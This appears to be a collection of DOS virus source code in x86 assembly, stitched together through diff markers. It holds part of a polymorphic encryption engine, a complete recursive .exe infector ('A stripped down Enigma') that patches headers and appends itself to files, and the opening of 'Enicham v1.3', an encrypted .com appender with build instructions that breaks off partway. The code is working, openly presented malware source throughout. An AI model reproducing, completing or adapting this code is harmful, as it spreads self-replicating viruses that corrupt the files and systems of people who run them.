make_enc_nor1: xchg di,ds:encode_ptr ; restore decrypt ptr
pop ax
xchg al,ah
mov word ptr ds:write_buff[encode_flip-encode],ax
; save opposite operation
pop ax
mov ds:key_reg,al ; restore key register
pop bp
retn
rm_tbl: db -1,-1,-1,7,-1,6,4,5,-1,0,1,2,3 ; -1's not used
;=====( Change key )=========================================================;
make_keychange: call boolean ; change key?
jnz make_keychange_yes
retn
make_keychange_yes:
push bp
or bp,200h ; let know that keychange
mov ax,3
call random ; 1 in 4 chance of modify_reg
jnz keychange_other
call random_1
xchg dx,ax ; Random value to modify key
; reg by
mov al,ds:key_reg
call modify_reg ; XOR/ADD/OR
keychange_stoop:xchg di,ds:encode_ptr ; get ptr to encode
inc di ; CLC
mov al,ds:modify_op ; get operation
stosb
keychange_stodx:xchg dx,ax ; store value/operation
keychange_sto: stosw
xchg di,ds:encode_ptr ; get decrypt pointer
pop bp
retn
keychange_other:mov al,4 ; ROR/ROL/NOT/NEG/ADD
call random
jnz keychange_rol
mov ax,0d1c0h ; ROR AX,1
keychange_cl: mov bx,2 ; 1 in 3 chance of ,CL
call random_bx
jnz keychange_nocl
cmp ds:count_reg,_cx ; Count is CX?
jne keychange_nocl
test bp,400h ; Count already decremented?
jnz keychange_nocl
or ah,2 ; By CL
keychange_nocl: xchg al,ah
push ax
or ah,ds:key_reg ; set key register
stosw ; store instruction
pop ax
xchg di,ds:encode_ptr ; get encode ptr
jmp keychange_sto
keychange_rol: dec ax
jnz keychange_not
mov ax,0d1c0h or (1 shl 3) ; ROL AX,1
jmp keychange_cl
keychange_not: dec ax
jnz keychange_neg
mov ax,0f7c0h + (2 shl 3) ; NOT AX
jmp keychange_nocl
keychange_neg: dec ax
jnz keychange_add
mov ax,0f7c0h + (3 shl 3) ; NEG AX
jmp keychange_nocl
keychange_add: call random_1
xchg dx,ax
mov al,ds:key_reg ; get key register
call add_reg ; ADD reg(ax), value(dx)
jmp keychange_stoop
;=====( Build key )==========================================================;
make_key: call get_reg ; get register
xchg dx,ax
call random_1 ; get key
mov ds:key,ax ; save key
xchg dx,ax
mov ds:key_reg,al ; save register
call mov_reg ; MOV reg(ax),value(dx)
retn
;=====( Build counter )======================================================;
make_count: call get_reg ; get register
mov ds:count_reg,al ; save register
mov dx,(decrypt-v_start)/2 ; # of words to crypt
call mov_reg ; mov reg(ax),value(dx)
retn
;=====( Build Pointer )======================================================;
make_ptr: mov dx,ds:pointer
call get_ptr_reg ; get DI/SI/BP/BX
mov ds:ptr_reg,al
mov ds:ptr_reg1,-1
mov bx,3
call random_bx ; 1 in 4 chance of 2 regs
jnz make_ptr_2
cmp al,_si
mov bx,11000000b ; DI/SI
jb make_ptr_test
mov bl,00101000b ; BP/BX
make_ptr_test: test bp,bx ; 'other' availible?
jz make_ptr_2
make_ptr_again: call get_ptr_reg ; get DI/SI/BP/BX
push ax
call conv_num ; convert to bit-map number
test al,bl ; is it other type?
pop ax
jnz make_ptr_ok
call del_reg ; delete register
jmp make_ptr_again
make_ptr_ok: mov ds:ptr_reg1,al ; save second register
mov bx,-1
call random_bx
sub dx,bx ; randomize values
xchg bx,dx
call mov_reg ; mov reg(ax), value(dx)
xchg bx,dx
mov al,ds:ptr_reg ; get first reg
make_ptr_2: xor bx,bx ; zero displacement
call boolean ; use one?
jnz make_ptr_nodisp
mov bx,-1
call random_bx
sub dx,bx ; subtract displacement
make_ptr_nodisp:mov ds:disp,bx ; save displacement
call mov_reg ; mov reg(ax), value(dx)
retn
;=====( Shell for mov_reg1 )=================================================;
mov_reg: push bx dx
mov bx,4
call random_bx ; 1 in 5 chance of MOV/ADD/SUB
jnz mov_reg_call
mov bx,-1
call random_bx ; get random #
sub dx,bx ; MOV reg, value-random #
call mov_reg1 ; do MOV reg,
mov dx,bx
call add_reg ; Now add difference
pop dx bx
retn
mov_reg_call: pop dx bx
;=====( Mov reg(ax), value(dx) )=============================================;
mov_reg1: push ax bx cx dx
cbw
mov bx,2
call random_bx ; MOV or SUB/XOR ADD/OR/XOR
jz mov_reg_other
mov bl,2
call random_bx ; 1 in 3 chance of c6/c7 MOV
jnz mov_reg_b0
or ax,0c7c0h ; MOV reg,imm
call boolean ; Do long MOV or LEA?
jnz mov_reg_c7
mov cl,3
shl al,cl ; Reg -> bits 3,4,5
xor ax,(8d00h or 110b) xor 0c700h ; LEA reg,[imm]
mov_reg_c7: xchg al,ah
stosw ; store it
mov_reg_sto: xchg dx,ax
stosw ; store value
call garble
mov_reg_exit: jmp modify_pop
mov_reg_b0: or al,0b8h ; MOV reg,imm
stosb
jmp mov_reg_sto
mov_reg_other: push ax
mov cl,3
mov ch,al
shl ch,cl ; copy reg1 to reg2
or al,ch ; set it
call boolean
jnz mov_reg_other1
or ah,2 ; reg1, reg2 -> reg2, reg1
mov_reg_other1: call boolean
jnz mov_reg_xor
or ax,29c0h ; SUB reg, reg
call boolean
jnz mov_reg_other_sto
xor ah,19h xor 29h ; SBB reg, reg
call clear_carry ; clear carry flag
mov_reg_other_sto:
xchg al,ah
stosw
call garble
pop ax
call modify_reg ; ADD/OR/XOR reg(ax),value(dx)
jmp mov_reg_exit
mov_reg_xor: or ax,31c0h ; XOR AX,AX
jmp mov_reg_other_sto
;=====( ADD/OR/XOR reg(ax), value(dx) )======================================;
modify_reg: push ax bx cx dx
cbw
mov bx,2
call random_bx
mov cx,3500h + (6 shl 3) ; XOR
jz modify_reg_cont
mov cx,0d00h + (1 shl 3) ; OR
dec bx
jz modify_reg_cont
modify_reg_add: mov cx,0500h ; ADD
call boolean ; ADC or ADD?
jnz modify_reg_cont
mov cx,1500h + (2 shl 3) ; ADC
modify_reg_clc: call clear_carry ; Clear carry flag
modify_reg_cont:test bp,200h ; keychange executing?
jz modify_reg_nosave
mov ds:modify_op,ch ; save AX operation
modify_reg_nosave:
call boolean ; check if AX?
jnz modify_reg_noax
or al,al ; AX?
jnz modify_reg_noax
mov al,ch
stosb ; store instruction
xchg dx,ax
modify_sto: stosw ; store value
modify_exit: call garble
modify_pop: pop dx cx bx ax
retn
modify_reg_noax:or ax,81c0h
or al,cl ; XOR/OR/ADD
call boolean ; sign extend?
jnz modify_reg_nosign
cmp dx,7fh ; possible to sign extend?
jbe modify_sign
cmp dx,-80h
jb modify_reg_nosign
modify_sign: or ah,2 ; sign extend
modify_reg_nosign:
xchg al,ah
stosw
test al,2 ; sign extended?
xchg dx,ax
je modify_sto
stosb
jmp modify_exit
;=====( ADD reg(ax), value(dx) )=============================================;
add_reg: push ax bx cx dx
cbw
mov cx,dx
add_loop: mov bx,3
call random_bx ; 1 in 4 chance of ADD/SUB
jz add_noinc
mov bx,40c0h ; INC reg
test bp,200h ; keychange running?
jz add_nosave
mov ds:modify_op,05h ; ADD AX,
add_nosave: cmp cx,3h ; too high to INC?
jb add_inc
neg cx
cmp cx,3h ; too low to DEC?
ja add_noinc
mov bx,48c0h + (1 shl 3) ; DEC reg
test bp,200h
jz sub_nosave
mov ds:modify_op,2dh ; SUB AX,
sub_nosave: inc dx
inc cx
cmp ax,0
org $ - 2
add_inc: dec dx
dec cx
push ax
mov ax,5
call random ; 1 in 6 chance of FF
pop ax
push ax
jnz add_inc_40
mov ah,0ffh
xchg bl,bh
xchg al,ah ; AL=ff AH=Reg
stosb
xchg al,ah
add_inc_40: or al,bh ; set DEC/INC
stosb
pop ax
call garble
or dx,dx ; all done?
jnz add_loop
add_reg_exit: jmp modify_pop
add_noinc: call boolean ; ADD or SUB?
jz sub_reg
jmp modify_reg_add
sub_reg: test bp,200h ; keychange?
jnz sub_reg_key
neg dx
sub_reg_key: mov cx,2d00h + (5 shl 3) ; SUB
call boolean ; use SBB?
jz sbb_reg
jmp modify_reg_cont
sbb_reg: mov cx,1d00h + (3 shl 3) ; SBB
jmp modify_reg_clc
;=====( clear carry flag )===================================================;
clear_carry: push ax bp
or bp,800h ; don't change flags
mov al,0f8h ; CLC
call boolean
jnz clear_carry_clc
mov ax,0f5f9h ; STC/CMC
stosb
call garble
xchg al,ah
clear_carry_clc:stosb
call garble
pop bp ax
retn
garble: push ax
mov ax,2
call random ; how many times to call?
xchg cx,ax
jcxz garble_exit
garble_loop: call garble1
loop garble_loop
garble_exit: xchg cx,ax
pop ax
retn
;=====( add garbage code )===================================================;
garble1: push ax bx cx dx bp
test bp,100h ; Garble already executing?
jnz garble_ret
and bp,not 200h ; keychange not executing
or bp,100h ; Garble executing
call boolean
jnz garble_ret
mov cl,3
call random_1
xchg dx,ax ; DX=random number
call get_reg ; get register
jc garble_ret
mov bx,6
test bp,800h ; flag change allowed?
jz garble_f
mov bl,2
garble_f: call random_bx ; MOV/1BYTE/XCHG/MODIFY/ADD/MOV?
jnz garble_xchg
or ah,89h
garble_reg_set: call boolean ; reg1, reg2 or reg2, reg1?
jz garble_reg_reg
or ah,2 ; 8b
xchg al,dl
garble_reg_reg: and dl,7 ; Get register values only
and al,7
shl dl,cl
or al,0c0h ; MOV reg1, random reg
or al,dl
xchg al,ah
stosw
garble_ret: pop bp
jmp modify_pop
garble_xchg: dec bx
jnz garble_1byte
xchg dx,ax
call get_reg ; get another reg
jc garble_ret
xchg dx,ax ; AL=reg1 DL=reg2
call boolean
jnz garble_xchgnoax
or dl,dl ; AX?
jz garble_xchgax
or al,al
jz garble_xchgax
garble_xchgnoax:or ah,87h ; XCHG reg1,
jmp garble_reg_reg
garble_xchgax: or al,90h
or al,dl ; XCHG AX, reg
garble_stosb: stosb
jmp garble_ret
garble_1byte: dec bx
jnz garble_modify
mov al,4
call random
mov bx,offset garble_1byte_tbl
xlat ; get 1 byte instruction
jmp garble_stosb
garble_modify: dec bx
jnz garble_add
call modify_reg ; ADD/XOR/OR reg1, random #
jmp garble_ret
garble_add: dec bx
jnz garble_mov
call add_reg ; ADD/SUB reg1, random #
jmp garble_ret
garble_mov: dec bx
jnz garble_op
call mov_reg ; MOV reg1, random #
jmp garble_ret
garble_op: and dh,00111000b ; get rnd op
mov ah,1
or ah,dh
jmp garble_reg_set
garble_1byte_tbl:
db 2eh
db 36h
cld
std
sti
;=====( Is BP a Pointer? )===================================================;
is_bp_ptr: cmp ds:ptr_reg,_bp
je bp_is_ptr
cmp ds:ptr_reg1,_bp
bp_is_ptr: retn
;=====( Get pointer register (DI/SI/BP/BX) )=================================;
get_ptr_regnext:call del_reg ; restore register to pool
get_ptr_reg: call get_reg ; get register
cmp al,_bx
je got_ptr_reg
cmp al,_bp
jb get_ptr_regnext
got_ptr_reg: retn
;=====( return random register in AL )=======================================;
get_reg: test bp,11101111b ; any registers free?
stc
jz get_reg_exit
get_reg_loop: mov ax,7
call random
push ax
cbw
call conv_num ; convert to bit map
test bp,ax ; is register free?
pushf
not ax
and bp,ax ; mark register
popf
pop ax
jz get_reg_loop
get_reg_exit: retn
;=====( Restore register to pool )===========================================;
del_reg: push ax
cbw
call conv_num ; convert to bit number
or bp,ax ; restore register
pop ax
retn
;=====( convert number to bit map )==========================================;
conv_num: push cx
mov cl,al
mov al,1
shl al,cl
pop cx
retn
;=====( randomize order of BX/CX/DX/SI, then call )==========================;
order: call garble
mov ax,2
call random
xchg cx,ax
inc cx
order_loop: call boolean
jnz order1
xchg bx,ax
order1: call boolean
jnz order2
xchg dx,ax
order2: call boolean
jnz order3
xchg si,ax
order3: loop order_loop
push si dx bx ax
order_ret: retn
;=====( return random number between 0 and ffff in bx )======================;
random_bx: xchg bx,ax
call random
xchg bx,ax
retn
;=====( flip Sign bit )======================================================;
boolean: push ax
mov ax,1
call random
pop ax
retn
;=====( return random number between 0 and ffff )============================;
random_1: mov ax,-1
;=====( Generate random number between 0 and AX )============================;
random: push ds bx cx dx ax
xor ax,ax
int 1ah
push cs
pop ds
in al,40h
xchg cx,ax
xchg dx,ax
mov bx,offset ran_num
xor ds:[bx],ax
rol word ptr ds:[bx],cl
xor cx,ds:[bx]
rol ax,cl
xor dx,ds:[bx]
ror dx,cl
xor ax,dx
imul dx
xor ax,dx
xor ds:[bx],ax
pop cx
xor dx,dx
inc cx
je random_ret
div cx
xchg ax,dx
random_ret: pop dx cx bx ds
or ax,ax
retn
ran_num dw ?
;=====( Encrypts the code/writes it/decrypts code )==========================;
encode: mov bx,ds:handle
mov ax,0
key = word ptr $ - 2
mov cx,(decrypt-v_start)/2
xor di,di
encode_break: clc
clc
clc
clc ; XCHG CX,AX XCHG CX,AX
clc
clc ; CLC ADD AX,xxxx / XOR [DI],AX
clc
clc ; XOR [DI],AX / CLC ADD AX,xxxx
inc di
inc di
loop encode_break
encode_ret = byte ptr $
mov ah,40h
mov cx,file_size
cwd
pushf
call cs:int_21
jc encode_flag
sub ax,cx
encode_flag: pushf
pop bp
mov word ptr ds:[si],0
encode_flip = word ptr $ - 2
mov byte ptr ds:write_buff[encode_ret-encode],0c3h
jmp encode
encode_end:
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,979 @@
code segment
assume cs:code
;A stripped down Enigma.
data_area struc ;Define a pattern for working data
;area
DS_save dw ?
ES_save dw ?
IP_save dw ?
CS_save dw ?
SS_save dw ?
filematch db '*.exe',00h ;Names for files to infect
matchall db '*.*',00h ;needed for the matching procedure
infected dw 00h ;A very useful flag
help_flag dw 00h ;These two flags are needed to
where_from_flag dw 00h ;determine if virus is free running
;or from an infected program
;therefore it's very important
;that where_from_flag value
;is set to zero at assembly time
handle dw ?
ip_old dw ? ;old instruction pointer
cs_old dw ? ;old value of code segment
ss_old dw ?
far_push dw ?
save_push dw ?
buffer1 db '\',63 dup (?)
virus_stamp db 'Vote Clinton' ;Very hard to obtain in
;a random way
question db 'Press any key to continue...$'
buffer2 db 2b0h dup (?)
new_area db 64 dup (?)
new_data db 64 dup (?)
pointer1 dw ?
pointer2 dw ?
pointer3 dw ?
pointer4 dw ?
pointer5 dw ?
pointer6 dw ?
pointer7 dw ?
pointer8 dw ?
data_area ends
org 100h ;Defined for .com file as virus must
;be able to run on itself
start: call setup_data ;This is a near call therefore it's a
;three byte instruction.It's purpose is
;to catch correct data area address
;even when virus is appended to the
;infected .exe program
adjust equ offset pgm_start ;Known offset value
pgm_start label word ;
virussize equ 2793
work: mov ax,ds ;Save old DS
push cs
pop ds ;Update to needed DS value
mov si,offset buffer.DS_save ;Put old DS in a quiet place
sub si,adjust
add si,bx
mov [si],ax
mov si,offset buffer.ES_save ;Save it because Get DTA side effects
sub si,adjust
add si,bx
mov ax,es
mov [si],ax
push cs ;Imperative because DI usage
pop es
push bx ;It's imperative to always keep
;this value unchanged
mov ax,2f00h ;Get DTA function call
int 21h
mov cx,bx ;save address found
pop bx
mov si,offset buffer.pointer1
sub si,adjust
add si,bx
mov [si],cx
add si,2 ;Locate the segment immediately above
mov ax,es
mov [si],ax
push cs
pop es
mov di,offset buffer.buffer1 ;adjust for first search
inc di ;Jump over the '\'
sub di,adjust
add di,bx
mov dx,0000h
push bx
call search_exe
pop bx
mov si,offset buffer.where_from_flag
sub si,adjust
add si,bx
cmp word ptr [si],0000h
jnz infected_run
int 020H
infected_run:
mov si,offset buffer.pointer1
sub si,adjust
add si,bx
mov dx,[si]
push ds
mov ax,[si+2]
mov ds,ax
push bx
mov ax,1a00h
int 21h
pop bx
pop ds ;Restore original DTA
mov si,offset buffer.ES_save
sub si,adjust
add si,bx
mov ax,[si]
mov es,ax ;Restore ES
call ask_question
mov si,offset buffer.IP_save
sub si,adjust
add si,bx
mov ax,[si]
mov dx,[si+2]
mov si,offset buffer.far_push ;Restore original code
sub si,adjust ;segment
add si,bx
mov cx,[si]
push ax
mov ax,cs
sub ax,cx
mov di,ax ;For stack
add dx,ax
pop ax
mov si,offset buffer.SS_save
sub si,adjust ;Restore stack segment
add si,bx
mov cx,word ptr [si]
add cx,di
push es
pop ds
cli
mov ss,cx
sti
push dx
push ax
ret far
search_exe PROC
push si
push dx
call transfer_filespec ;transfer filename in another
;working area
call find_first ;try to find a first match
jc not_here ;first match not found
call try_to_infect ;if found try to infect
;infected != 0 if success
mov si,offset buffer.infected
sub si,adjust
add si,bx
test word ptr [si],0ffffh
jz try_next
jmp quiet_exit
try_next:
call find_next ;If infection was not succesful
;try once more
jc not_here
call try_to_infect ;If match found try to infect
mov si,offset buffer.infected ;again
sub si,adjust
add si,bx
test word ptr [si],0ffffh
jz try_next
jmp quiet_exit ;quiet exit simply jumps
;to a return instruction
not_here:
pop dx ;If first searches are
push dx ;unsuccesful try a '*.*' match
call search_all
call find_first
jnc attribute_test ;i.e. expect probably to
;find a subdirectory
quiet_exit:
pop dx
pop si
ret
attribute_test:
mov si,dx ;offset of DTA
test byte ptr [si+015h],010h ;where attribute byte is to
;be found.Try first with
;subdirectory attribute
jne dir_found ;subdirectory found
more_tries:
call find_next ;Since the search was initiated
;with '*.*' if this is not a
;directory try to found one
jc quiet_exit ;No sense to search more
test byte ptr [si+015h],010h
jz more_tries ;Search to the end
dir_found:
cmp byte ptr [si+01Eh],02Eh ;Compare with the subdirectory
;mark '.'
jz more_tries ;looking for files no
;subdirectories
call dta_compute ;Valid entry, now set some DTA
;and continue to search
push ax
mov ah,01Ah ;Set DTA function call
int 021h
pop ax
push si
mov si,offset buffer.infected
sub si,adjust
add si,bx
test word ptr [si],0ffffh
pop si
jnz quiet_exit
jmp more_tries
search_exe ENDP
dta_compute PROC
push di ;Save some registers
push si
push ax
push bx
cld ;Up count for SI,DI pair
mov si,dx ;DTA address to SI
add si,01EH ;and add subdirectory
;name offset
store_loop:
lodsb
stosb
or al,al
jne store_loop ;store loop
std
stosb
mov al,05Ch ;Put in place the path name
;constructor
stosb
add di,2 ;Adjust di for new searches
call search_exe ;
;a heavily recursion
;
pop bx ;some cleanup and exit
;
pop ax
pop si
pop di
ret
dta_compute ENDP
try_to_infect PROC
push ax
push bx
push cx
push dx
push si
push di
push es
push bx
mov ax,2f00h ;Get DTA function call
int 21h
mov ax,bx
pop bx
mov si,offset buffer.pointer3
sub si,adjust
add si,bx
mov [si],ax ;Offset saved
add si,2
mov ax,es
mov [si],ax
pop es ;Segment located just above
mov dx,offset buffer.new_data
sub dx,adjust
add dx,bx
push bx
mov ax,1a00h
int 21h ;Set DTA function call
pop bx ;It's very important to
;save BX in all calls
mov di,offset buffer.new_area
mov si,offset buffer.buffer1
sub di,adjust
sub si,adjust
add di,bx
add si,bx
cld ;Move previously found path-
;name or filename to new
;data area
move_path:
lodsb
stosb
or al,al
jnz move_path
std ;adjust DI to recieve
mov al,'\' ;filename.
mov cx,0040h
std ;Search backward
repne scasb
mov si,offset buffer.pointer3
sub si,adjust
add si,bx
mov ax,[si]
mov si,ax
add di,2
o_kay:
add si,001eh ;The beginning of the
;filename...
cld ;Now move name
move_fnm:
lodsb
stosb
or al,al
jnz move_fnm
push dx
push bx
mov dx,offset buffer.new_area
sub dx,adjust
add dx,bx
mov ax,3d02h ;Open file with handle
;for read/write
int 21h
pop bx
pop dx
jnc go_ahead ;In case file cannot be opened
jmp error_exit
go_ahead:
mov si,offset buffer.handle
sub si,adjust
add si,bx
mov [si],ax ;Save handle
push bx
mov bx,ax ;Prepare for lseek
push dx
mov cx,0000h ;Look at the end of the file
mov dx,0000h ;Offset of -12 from the end
;of the file
mov ax,4202h ;Lseek function call
int 21h
mov cx,dx
pop dx
pop bx
jnc compute_length
jmp close_error
compute_length:
sub ax,000ch
sbb cx,0000h ;Exact position
save_offset: ;
mov si,offset buffer.pointer5
sub si,adjust
add si,bx
mov [si],ax
add si,2
mov [si],cx
push bx
push dx
mov si,offset buffer.handle
sub si,adjust
add si,bx
mov bx,[si]
mov dx,ax
mov ax,4200h ;From beginning of file
int 21h ;Lseek function call
pop dx
pop bx
jnc set_buffer
jmp close_error
set_buffer:
push bx
push dx
mov dx,offset buffer.new_data
sub dx,adjust
add dx,bx
mov si,offset buffer.handle
sub si,adjust
add si,bx
mov bx,[si] ;Load handle
mov cx,000ch
mov ax,3f00h
int 21h ;Read function call
pop dx
pop bx
jnc read_ok
jmp close_error
read_ok:
mov si,offset buffer.virus_stamp
mov di,offset buffer.new_data
sub si,adjust
sub di,adjust
add si,bx
add di,bx
mov cx,12 ;Length of strings to
;compare
repe cmpsb
pushf
mov si,offset buffer.infected
sub si,adjust
add si,bx
mov word ptr [si],0000h
popf
jnz infect_it
close_error:
mov si,offset buffer.handle
sub si,adjust
add si,bx
push bx
mov bx,[si]
mov ax,3e00h ;Close file function call
int 21h
pop bx
jmp error_exit
infect_it:
mov si,offset buffer.infected
sub si,adjust
add si,bx
mov word ptr [si],7777h
mov si,offset buffer.where_from_flag
sub si,adjust
add si,bx
mov ax,[si]
sub si,2
mov [si],ax ;This code effectively moves
;where_from_flag into help_flag
add si,2
mov [si],5a5ah ;Ready to infect
push bx
push dx
mov si,offset buffer.handle
sub si,adjust
add si,bx
mov bx,[si]
xor cx,cx
xor dx,dx
mov ax,4200h ;From beginning of file
int 21h ;Lseek function call
pop dx
pop bx
jnc set_new_data
jmp append_ok
set_new_data:
push bx
push dx
mov dx,offset buffer.new_data
sub dx,adjust
add dx,bx
mov si,offset buffer.handle
sub si,adjust
add si,bx
mov bx,[si] ;Load handle
mov cx,001bh ;Read formatted exe header
mov ax,3f00h
int 21h ;Read function call
pop dx
pop bx
jnc read_header
jmp append_ok
read_header:
nop ;some code to modify header
;
mov si,offset buffer.pointer5
sub si,adjust
add si,bx
mov ax,[si]
add si,2
add ax,0ch
adc word ptr [si],0000h
sub si,2
mov [si],ax ;This code restores original
;filelength
mov si,offset buffer.new_data
sub si,adjust
add si,bx
mov ax,[si]
cmp ax,5a4dh ;check for valid exe file
jz valid_exe
jmp append_ok
valid_exe:
mov ax,[si+8] ;Load module size
xor dx,dx
shl ax,1
rcl dx,1
shl ax,1
rcl dx,1
shl ax,1
rcl dx,1
shl ax,1
rcl dx,1 ;Multiply by 16
push ax
push dx ;Adjust new size
push cx
mov dx,virussize-896+64
push dx
mov cx,0009h
shr dx,cl
add word ptr [si+4],dx
pop dx
and dx,01ffh
add dx,word ptr [si+2]
cmp dx,512
jl adjust_okay
sub dx,512
inc word ptr [si+4]
adjust_okay:
mov word ptr [si+2],dx
pop cx
pop dx
pop ax
push si ;This SI is very useful so save it
mov si,offset buffer.pointer5
sub si,adjust
add si,bx
sub [si],ax
mov ax,[si]
sbb [si+2],dx
mov dx,[si+2] ;the byte size of the load module
pop si
push ax
push dx
mov ax,[si+14h]
mov dx,[si+16h] ;Get CS:IP value
mov cx,[si+0eh] ;Get SS value
push si
mov si,offset buffer.IP_save
sub si,adjust
add si,bx
xchg [si],ax
xchg [si+2],dx
mov si,offset buffer.SS_save
sub si,adjust
add si,bx
xchg [si],cx
mov si,offset buffer.ip_old
sub si,adjust
add si,bx
mov [si],ax
mov [si+2],dx
mov si,offset buffer.ss_old
sub si,adjust
add si,bx
mov [si],cx
pop si
pop dx
pop ax
push ax
push dx
shl ax,1
rcl dx,1
shl ax,1
rcl dx,1
shl ax,1
rcl dx,1
shl ax,1
rcl dx,1 ;Multiply by 16
mov cx,0008h
shl dx,cl
mov cx,0004h
shr ax,cl ;A very obscure algorithm to make
;a segment:offset pair
mov [si+14h],ax
mov [si+16h],dx ;Infected values
push si
mov si,offset buffer.far_push
sub si,adjust
add si,bx
xchg [si],dx
mov word ptr [si+2],dx
pop si
pop dx
pop ax
add ax,virussize ;
adc dx,0000h
mov cx,0003h
mul_loop:
shl ax,1
rcl dx,1
shl ax,1
rcl dx,1
shl ax,1
rcl dx,1
shl ax,1
rcl dx,1 ;Multiply by 4096
loop mul_loop
or ax,ax
jz exact_value
inc dx
exact_value:
mov [si+0eh],dx ;Infected stack segment
;Write back infected header
push si
push bx
mov si,offset buffer.handle
sub si,adjust
add si,bx
mov bx,[si]
mov ax,5700h ;Get time function
int 21h
pop bx
pop si
jnc correct_time
jmp append_ok1
correct_time:
push cx
push bx
push dx
mov si,offset buffer.handle
sub si,adjust
add si,bx
mov bx,[si]
xor cx,cx
xor dx,dx
mov ax,4200h ;From beginning of file
int 21h ;Lseek function call
pop dx
pop bx
pop cx
jnc continue_infection
jmp append_ok1
continue_infection:
push cx
push dx
push bx
mov dx,offset buffer.new_data
sub dx,adjust
add dx,bx
mov si,offset buffer.handle
sub si,adjust
add si,bx
mov bx,[si] ;Load handle
mov cx,001bh ;Write infected exe header
mov ax,4000h
int 21h ;Write function call
pop bx
pop dx
pop cx
jnc glue_virus
jmp append_ok1
glue_virus:
push cx
push bx
push dx
mov si,offset buffer.handle
sub si,adjust
add si,bx
mov bx,[si]
xor cx,cx
xor dx,dx
mov ax,4202h ;From the end of file
int 21h ;Lseek function call
pop dx
pop bx
pop cx
jnc write_data
jmp append_ok1
write_data:
mov si,offset buffer.handle
sub si,adjust
add si,bx
push dx
push cx
mov dx,bx
sub dx,3 ;The starting three byte
;call instruction
push es
push bx
push dx
push si
mov ax,2f00h
int 21h
pop si
pop dx
push es
push bx
push si
mov ax,1a00h
int 21h
pop si
mov bx,[si] ;Load handle
mov cx,virussize-896+64 ;Length of virus obtained
mov ax,4000h ;with dir
int 21h
lahf ;Write function call
pop bx
pop es
push ds
push es
pop ds
mov dx,bx
push ax
mov ax,1a00h
int 21h
pop ax
pop ds
pop bx
pop es
pop cx
pop dx
sahf
jnc put_stamp ;Error or not file
jmp append_ok1 ;is closed
put_stamp:
push bx
mov si,offset buffer.handle
sub si,adjust
add si,bx
mov bx,[si]
mov ax,5701h ;Set time function
int 21h
pop bx
append_ok1:
mov si,offset buffer.ip_old ;Restore previous CS:IP values
sub si,adjust
add si,bx
mov ax,[si]
mov dx,[si+2]
mov si,offset buffer.IP_save
sub si,adjust
add si,bx
mov [si],ax
mov [si+2],dx
mov si,offset buffer.save_push
sub si,adjust
add si,bx
mov ax,[si]
mov word ptr [si-2],ax
mov si,offset buffer.ss_old
sub si,adjust
add si,bx
mov ax,[si]
mov si,offset buffer.SS_save
sub si,adjust
add si,bx
mov word ptr [si],ax
append_ok:
mov si,offset buffer.help_flag
sub si,adjust
add si,bx
mov ax,[si]
add si,2
mov [si],ax ;This code effectively moves
;help_flag into where_from_flag
jmp close_error ;
error_exit:
mov si,offset buffer.pointer3
sub si,adjust
add si,bx
mov dx,[si] ;Restore original DTA
add si,2
mov ax,[si]
push ds
mov ds,ax
mov ax,1a00h ;Set DTA function call
int 21h
pop ds
pop di
pop si
pop dx
pop cx
pop bx
pop ax
ret
try_to_infect ENDP
transfer_filespec PROC
push si
mov si,offset buffer.filematch ;Transfer name to the working
;area
sub si,adjust
add si,bx
call byte_move
pop si
ret
transfer_filespec ENDP
search_all PROC
push si
mov si,offset buffer.matchall ;This is the '*.*' filename
sub si,adjust
add si,bx
call byte_move
pop si
ret
search_all ENDP
byte_move PROC
push ax
push di
cld
move_loop:
lodsb
stosb
or al,al ;The string to move is ASCIIZ
jne move_loop
pop di
pop ax
ret
byte_move ENDP
find_first PROC
push cx
push bx
cmp dx,0000h
jnbe over_set
mov dx,offset buffer.buffer2 ;Set Data Transfer Area
sub dx,adjust ;or Disk Transfer area
add dx,bx ;
over_set:
add dx,02Bh
mov cx,00010h ;Attribute byte for
;directory search
mov ah,01ah
int 021h ;Set DTA function call
pop bx
push bx
push dx
mov dx,offset buffer.buffer1
sub dx,adjust
add dx,bx
mov ah,04eh ;find first
;function call
int 021h
pop dx
pop bx
pop cx
ret
find_first ENDP
find_next PROC
push cx
push bx
push dx
mov dx,offset buffer.buffer1
sub dx,adjust
add dx,bx
mov cx,00010h
mov ah,04fh ;Find next function call
int 021h
pop dx
pop bx
pop cx
ret
find_next ENDP
ask_question PROC
mov dx,offset buffer.question
mov ax,09
int 21h
xor ax,ax
int 16h
ask_question ENDP
setup_data:
cli
pop bx ;This will catch instruction pointer
push bx
sti ;value and after that restore stack
ret ;pointer value
buffer data_area <> ;Reseve data_area space
code ends
END start
@@ -0,0 +1,230 @@
; ------------------------------------------------------------------------- ;
; Enicham v1.3 coded by KilJaeden of the Codebreakers 1998 ;
; ------------------------------------------------------------------------- ;
; Description: `-------------------| Started: 17/06/98 | Finished: 18/06/98 ;
; `-------------------^------------------- ;
; v1.0 - runtime .com appender with one layer of encryption | Size: 543 ;
; v1.1 - restores time/date & attributes + infects readonly `---------- ;
; v1.2 - add second layer of XOR,NEG,NOT,ROR,ROL encryption ;
; v1.3 - add small payload, show our presence every tuesday ;
; ------------------------------------------------------------------------- ;
; ---------------------> This Is For Christine Moore <--------------------- ;
; ------------------------------------------------------------------------- ;
; to compile ::] tasm enicham.asm ;
; to link :::::] tlink /t enicham.obj ;
; ------------------------------------------------------------------------- ;
code segment ; name our segment 'code'
assume cs:code,ds:code ; assign CS and DS to code
org 100h ; this be a .com file
jumps ; save space jumping
blank: db 0e9h,0,0 ; jump to start of code
start: call delta ; push IP on to stack
delta: pop bp ; pop it into BP
sub bp,offset delta ; get the delta offset
decr: jmp once ; jump to once (overwritten)
lea si,[bp+encd] ; start of encrypted stuff
mov di,si ; move si into di
call encr ; call our decryption loop
; -------------------( Start Of 1st Encryption Blanket )------------------- ;
; ------------------------------------------------------------------------- ;
encd: lea si,[bp+d_encd] ; start address of layer 2
mov di,si ; move it into DI
mov cx,d_encr-d_encd ; # of bytes to decrypt
call d_encr ; second layer decrypted
; -------------------( Start Of 2nd Encryption Blanket )------------------- ;
; ------------------------------------------------------------------------- ;
d_encd: lea si,[bp+thrbyte] ; what bytes to restore
mov di,100h ; where to restore them
push di ; push 100h on to stack
movsw ; move two bytes
movsb ; move one byte
lea dx,[bp+offset dta] ; where to put the DTA
mov ah,1ah ; move the DTA
int 21h ; it's moved now
mov ah,4eh ; find first file
lea dx,[bp+comfile] ; with extension .com
mov cx,7 ; possible attributes
find: int 21h ; find the file
jc exit ; no files found, exit
lea dx,[bp+offset dta+1eh] ; get the file info
mov ax,4300h ; get file attributes
int 21h ; get them now
